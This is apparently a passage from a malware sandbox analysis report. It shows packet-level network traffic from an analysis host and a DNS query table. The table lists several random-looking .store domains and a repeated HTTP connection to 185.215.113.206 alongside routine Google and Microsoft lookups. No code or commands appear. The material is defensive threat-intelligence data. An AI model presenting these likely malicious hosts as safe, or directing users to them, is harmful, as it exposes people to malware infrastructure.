Nov 5, 2024 10:13:55.013602018 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.014004946 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.014015913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.014027119 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.014070988 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.014175892 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.014633894 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.014643908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.014695883 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.014741898 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.016392946 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016412973 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016422033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016494989 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.016495943 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.016586065 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016597033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016606092 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016629934 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.016674042 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.016793013 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016880035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.016942978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.016952038 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017004013 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.017039061 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017049074 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017057896 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017086983 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.017210007 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.017333031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017343044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017354965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017400026 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017410994 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017412901 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.017412901 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.017451048 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.017968893 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.017977953 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.018088102 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.029548883 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.029836893 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.029853106 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.030498028 CET	443	50032	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.030847073 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.030863047 CET	443	50032	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.030956030 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.031063080 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.031907082 CET	443	50032	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.032052994 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.032632113 CET	443	50030	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.032648087 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.032713890 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.034077883 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.034082890 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.034092903 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.034140110 CET	443	50032	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.034559965 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.034574032 CET	443	50030	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.034821033 CET	443	50029	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.035618067 CET	443	50030	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.035708904 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.037233114 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.037239075 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.037257910 CET	443	50029	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.037295103 CET	443	50030	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.038273096 CET	443	50029	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.038379908 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.040023088 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.040090084 CET	443	50029	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.043137074 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.043343067 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.043355942 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.043690920 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.044085026 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.044147968 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.044291973 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.044399977 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.054204941 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054215908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054225922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054294109 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.054336071 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.054347992 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054577112 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054584026 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.054588079 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054636955 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.054641008 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054657936 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054671049 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054683924 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.054692030 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.054742098 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.054879904 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054892063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054905891 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054917097 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054929018 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.054943085 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.055244923 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.055277109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.055413961 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.055423975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.055449009 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.055460930 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.055471897 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.055476904 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.055496931 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.055536032 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.080703020 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.080703974 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.080709934 CET	443	50030	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.080724955 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.080728054 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.080737114 CET	443	50032	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.080744028 CET	443	50029	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:55.091331959 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.097486973 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.097510099 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.097520113 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.097568035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.097784042 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.097954988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.097995996 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.098007917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.098016977 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.098146915 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.098330975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.098401070 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.098419905 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.098429918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.098459959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.098488092 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.098670006 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.127623081 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.127623081 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.127732038 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:55.130496025 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130512953 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130523920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130534887 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130546093 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130557060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130626917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.130626917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.130695105 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130825043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130836010 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130855083 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.130875111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130886078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130897999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.130902052 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.130920887 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.131093979 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.133517027 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.133711100 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.199235916 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.199331045 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.199399948 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.200112104 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.200124979 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.216893911 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.217271090 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.217480898 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.217684984 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.217684984 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.217694998 CET	443	50033	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:55.218801975 CET	50033	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:55.237098932 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.242240906 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.265876055 CET	50043	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.265896082 CET	443	50043	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.269505024 CET	50043	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.271759987 CET	50043	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.271773100 CET	443	50043	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.332926989 CET	443	50026	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:55.333086014 CET	50026	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:55.335115910 CET	50026	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:55.335123062 CET	443	50026	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:55.335398912 CET	443	50026	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:55.345113993 CET	50026	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:55.391328096 CET	443	50026	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:55.478586912 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.478905916 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.478920937 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.479970932 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.480093002 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.480474949 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.480536938 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.480552912 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.480552912 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.480592966 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.507437944 CET	50044	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.507456064 CET	443	50044	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.507734060 CET	50044	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.507734060 CET	50044	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:55.507755041 CET	443	50044	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:55.519002914 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519015074 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519026995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519037962 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519051075 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519061089 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519073963 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519077063 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.519090891 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519354105 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519365072 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519376993 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519382000 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.519382000 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.519407988 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.519423008 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519433975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519445896 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519452095 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.519457102 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.519470930 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.519659996 CET	443	50035	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.519689083 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.519951105 CET	50035	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.519959927 CET	443	50035	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.519974947 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520052910 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.520200968 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520212889 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520226002 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520236015 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520248890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520251036 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.520260096 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520272017 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520286083 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.520286083 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.520292997 CET	443	50035	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.520318031 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.520756006 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520766973 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520776987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.520800114 CET	50035	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.520802975 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.520836115 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.520857096 CET	443	50035	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.521011114 CET	50035	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.521011114 CET	50035	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.521038055 CET	443	50035	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.533495903 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.533515930 CET	443	50034	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.542385101 CET	443	50036	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.545383930 CET	50036	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:55.545399904 CET	443	50036	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.546747923 CET	50036	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:55.546752930 CET	443	50036	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.582752943 CET	50034	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.633093119 CET	50045	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.633132935 CET	443	50045	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.633255005 CET	50045	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.633687019 CET	50045	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:55.633697033 CET	443	50045	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:55.661051989 CET	443	50038	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.661490917 CET	50038	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:55.661504984 CET	443	50038	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.661940098 CET	443	50039	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.661956072 CET	50038	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:55.661961079 CET	443	50038	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.662185907 CET	50039	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:55.662205935 CET	443	50039	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.662532091 CET	50039	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:55.662535906 CET	443	50039	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:55.663295031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663306952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663325071 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663345098 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663353920 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.663356066 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663367033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663378954 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663389921 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.663391113 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663403034 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663403988 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.663414955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.663427114 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.663450003 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.663573980 CET	49934	80	192.168.2.5	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 5, 2024 10:12:57.869616985 CET	192.168.2.5	1.1.1.1	0xd97b	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.353369951 CET	192.168.2.5	1.1.1.1	0x9276	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.391747952 CET	192.168.2.5	1.1.1.1	0x7e37	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.417917967 CET	192.168.2.5	1.1.1.1	0x8c34	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.463921070 CET	192.168.2.5	1.1.1.1	0x7032	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:12:58.488914967 CET	192.168.2.5	1.1.1.1	0x4795	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:28.888355017 CET	192.168.2.5	1.1.1.1	0x673c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:28.888551950 CET	192.168.2.5	1.1.1.1	0x4292	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:34.606484890 CET	192.168.2.5	1.1.1.1	0xfb86	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:34.606648922 CET	192.168.2.5	1.1.1.1	0x3b6e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:35.641604900 CET	192.168.2.5	1.1.1.1	0x79fe	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:35.641972065 CET	192.168.2.5	1.1.1.1	0x338c	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:41.964565039 CET	192.168.2.5	1.1.1.1	0xad14	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:41.964864016 CET	192.168.2.5	1.1.1.1	0x2852	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:43.326992989 CET	192.168.2.5	1.1.1.1	0xd871	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:43.327146053 CET	192.168.2.5	1.1.1.1	0x7bee	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 5, 2024 10:13:45.145684004 CET	192.168.2.5	1.1.1.1	0xa946	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.146869898 CET	192.168.2.5	1.1.1.1	0x15de	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:45.148412943 CET	192.168.2.5	1.1.1.1	0x1a43	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.148556948 CET	192.168.2.5	1.1.1.1	0x72c0	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:45.184576035 CET	192.168.2.5	1.1.1.1	0x3dbd	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.184669971 CET	192.168.2.5	1.1.1.1	0xb624	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:45.197052002 CET	192.168.2.5	1.1.1.1	0x2299	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.197216988 CET	192.168.2.5	1.1.1.1	0x5920	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:45.395216942 CET	192.168.2.5	1.1.1.1	0x61f	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:45.395379066 CET	192.168.2.5	1.1.1.1	0xdad2	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:46.683636904 CET	192.168.2.5	1.1.1.1	0xbb03	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 10:13:46.683782101 CET	192.168.2.5	1.1.1.1	0xc2aa	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 10:13:46.684253931 CET	192.168.2.5	1.1.1.1	0xf86f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
